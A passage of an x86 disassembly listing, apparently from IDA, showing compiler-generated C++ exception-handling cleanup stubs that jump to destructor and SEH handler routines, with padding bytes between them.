db 10h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A07B: ; DATA XREF: ___:00440514o
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A086: ; DATA XREF: ___:0040CFC2o
mov eax, offset dword_4404E8
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40D210 proc near ; DATA XREF: sub_40D210+2o
mov eax, offset dword_440520
jmp sub_437AB8
SEH_40D210 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-16Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A0EB: ; DATA XREF: ___:00440594o
lea ecx, [ebp-184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40D660 proc near ; DATA XREF: sub_40D660+2o
mov eax, offset dword_440568
jmp sub_437AB8
SEH_40D660 endp
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-5ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-604h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-634h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-664h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-67Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-61Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-58Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-694h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-64Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40DC20 proc near ; DATA XREF: sub_40DC20+2o
mov eax, offset dword_4405D8
jmp sub_437AB8
SEH_40DC20 endp
; ---------------------------------------------------------------------------
db 27h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A228: ; DATA XREF: ___:0044069Co
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40E2F0 proc near ; DATA XREF: sub_40E2F0+2o
mov eax, offset dword_440670
jmp sub_437AB8
SEH_40E2F0 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A278: ; DATA XREF: ___:004406F4o
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40E870 proc near ; DATA XREF: sub_40E870+2o
mov eax, offset dword_4406C8
jmp sub_437AB8
SEH_40E870 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A2C8: ; DATA XREF: ___:0044074Co
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40ED00 proc near ; DATA XREF: sub_40ED00+2o
mov eax, offset dword_440720
jmp sub_437AB8
SEH_40ED00 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40EE40 proc near ; DATA XREF: sub_40EE40+2o
mov eax, offset dword_440760
jmp sub_437AB8
SEH_40EE40 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A318: ; DATA XREF: ___:004407BCo
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A348: ; DATA XREF: ___:0040F218o
mov eax, offset dword_440790
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43A378: ; DATA XREF: ___:0044081Co
mov ecx, [ebp-28h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2ACh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2DAh
jmp sub_401B68
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40F6D0 proc near ; DATA XREF: sub_40F6D0+2o
mov eax, offset dword_4407F0
jmp sub_437AB8
SEH_40F6D0 endp
; ---------------------------------------------------------------------------
db 69h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43A568: ; DATA XREF: ___:0044097Co
mov ecx, [ebp-10h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2ACh
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40FE70 proc near ; DATA XREF: sub_40FE70+2o
mov eax, offset dword_440950
jmp sub_437AB8
SEH_40FE70 endp
; ---------------------------------------------------------------------------
db 47h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-247Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A69B: ; DATA XREF: ___:00440A34o
lea ecx, [ebp-210Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-207Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6B1: ; DATA XREF: ___:00440A44o
lea ecx, [ebp-237Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6BC: ; DATA XREF: ___:00440A4Co
lea ecx, [ebp-21CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6C7: ; DATA XREF: ___:00440A54o
lea ecx, [ebp-234Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6D2: ; DATA XREF: ___:00440A5Co
lea ecx, [ebp-2064h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6DD: ; DATA XREF: ___:00440A64o
lea ecx, [ebp-231Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6E8: ; DATA XREF: ___:00440A6Co
lea ecx, [ebp-219Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6F3: ; DATA XREF: ___:00440A74o
lea ecx, [ebp-20DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-22ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A709: ; DATA XREF: ___:00440A84o
lea ecx, [ebp-22BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A714: ; DATA XREF: ___:00440A8Co
lea ecx, [ebp-23DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A71F: ; DATA XREF: ___:00440A94o
lea ecx, [ebp-216Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A72A: ; DATA XREF: ___:00440A9Co
lea ecx, [ebp-2424h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-23F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-228Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-225Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A799: ; DATA XREF: ___:00440AE4o
lea ecx, [ebp-213Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A7A4: ; DATA XREF: ___:00440AECo
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43A7B2: ; DATA XREF: ___:00440AF4o
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43A7C0: ; DATA XREF: ___:00440AFCo
lea ecx, [ebp-21FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-222Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A7E1: ; DATA XREF: ___:00440B14o
lea ecx, [ebp-2394h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A7F7: ; DATA XREF: ___:00440B24o
lea ecx, [ebp-2334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2364h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A80D: ; DATA XREF: ___:00440B34o
lea ecx, [ebp-2304h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A818: ; DATA XREF: ___:00440B3Co
lea ecx, [ebp-22D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A823: ; DATA XREF: ___:00440B44o
mov ecx, [ebp-2480h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A82E: ; DATA XREF: ___:00440B4Co
lea ecx, [ebp-22A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A839: ; DATA XREF: ___:00440B54o
lea ecx, [ebp-2244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2274h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A84F: ; DATA XREF: ___:00440B6Co
lea ecx, [ebp-2214h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A85A: ; DATA XREF: ___:00440B7Co
lea ecx, [ebp-21E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A865: ; DATA XREF: ___:00440B84o
lea ecx, [ebp-2184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A87B: ; DATA XREF: ___:00440B9Co
lea ecx, [ebp-243Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-240Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A891: ; DATA XREF: ___:00440BB4o
lea ecx, [ebp-2124h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2154h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A8A7: ; DATA XREF: ___:00440BC4o
lea ecx, [ebp-20F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A8B2: ; DATA XREF: ___:00440BCCo
lea ecx, [ebp-2094h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2464h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A8D3: ; DATA XREF: sub_410030+8o
mov eax, offset dword_440A08
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 93h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40204F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411930 proc near ; DATA XREF: sub_411930+2o
mov eax, offset dword_440C18
jmp sub_437AB8
SEH_411930 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40204F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4119E0 proc near ; DATA XREF: sub_4119E0+2o
mov eax, offset dword_440C48
jmp sub_437AB8
SEH_4119E0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A9B8: ; DATA XREF: ___:00440CA4o
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411A60 proc near ; DATA XREF: sub_411A60+2o
mov eax, offset dword_440C78
jmp sub_437AB8
SEH_411A60 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AA18: ; DATA XREF: ___:00440CFCo
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411B20 proc near ; DATA XREF: sub_411B20+2o
mov eax, offset dword_440CD0
jmp sub_437AB8
SEH_411B20 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411C10 proc near ; DATA XREF: sub_411C10+8o
mov eax, offset dword_440D28
jmp sub_437AB8
SEH_411C10 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AAE8: ; DATA XREF: ___:00440DD4o
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4120B0 proc near ; DATA XREF: sub_4120B0+8o
mov eax, offset dword_440DA8
jmp sub_437AB8
SEH_4120B0 endp
; ---------------------------------------------------------------------------
db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
loc_43AB90: ; DATA XREF: ___:00440E74o
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-48h]
and eax, 1
test eax, eax
jz locret_43ABAE
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43ABAE: ; CODE XREF: ___:0043ABA0j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412780 proc near ; DATA XREF: sub_412780+2o
mov eax, offset dword_440E48
jmp sub_437AB8
SEH_412780 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43ABD8: ; DATA XREF: ___:00440EACo
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412A40 proc near ; DATA XREF: sub_412A40+8o
mov eax, offset dword_440E80
jmp sub_437AB8
SEH_412A40 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412CE0 proc near ; DATA XREF: sub_412CE0+2o
mov eax, offset dword_440EB8
jmp sub_437AB8
SEH_412CE0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AC18: ; DATA XREF: ___:00440F14o
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AC4E: ; DATA XREF: ___:00412D88o
mov eax, offset dword_440EE8
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_43AC7B: ; DATA XREF: ___:00440F74o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014BF
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4131F0 proc near ; DATA XREF: sub_4131F0+2o
mov eax, offset dword_440F48
jmp sub_437AB8
SEH_4131F0 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014BF
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4132F0 proc near ; DATA XREF: sub_4132F0+2o
mov eax, offset dword_440F90
jmp sub_437AB8
SEH_4132F0 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4133B0 proc near ; DATA XREF: sub_4133B0+2o
mov eax, offset dword_440FD8
jmp sub_437AB8
SEH_4133B0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4134A0 proc near ; DATA XREF: sub_4134A0+2o
mov eax, offset dword_441010
jmp sub_437AB8
SEH_4134A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4135E0 proc near ; DATA XREF: sub_4135E0+2o
mov eax, offset dword_441040
jmp sub_437AB8
SEH_4135E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+1Ch]
jmp sub_401582
; ---------------------------------------------------------------------------
loc_43AD78: ; DATA XREF: ___:0044109Co
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_413740 proc near ; DATA XREF: sub_413740+2o
mov eax, offset dword_441070
jmp sub_437AB8
SEH_413740 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AD98: ; DATA XREF: ___:004410D4o
lea ecx, [ebp-0A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-8Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4138B0 proc near ; DATA XREF: sub_4138B0+2o
mov eax, offset dword_4410A8
jmp sub_437AB8
SEH_4138B0 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp+1Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43ADD8: ; DATA XREF: ___:00441114o
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_401582
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_413A80 proc near ; DATA XREF: sub_413A80+2o
mov eax, offset dword_4410E8
jmp sub_437AB8
SEH_413A80 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AE08: ; DATA XREF: ___:00413BB2o
mov eax, offset dword_441128
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AE28: ; DATA XREF: ___:00441184o
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AE30: ; DATA XREF: ___:0044118Co
mov eax, [ebp-40h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
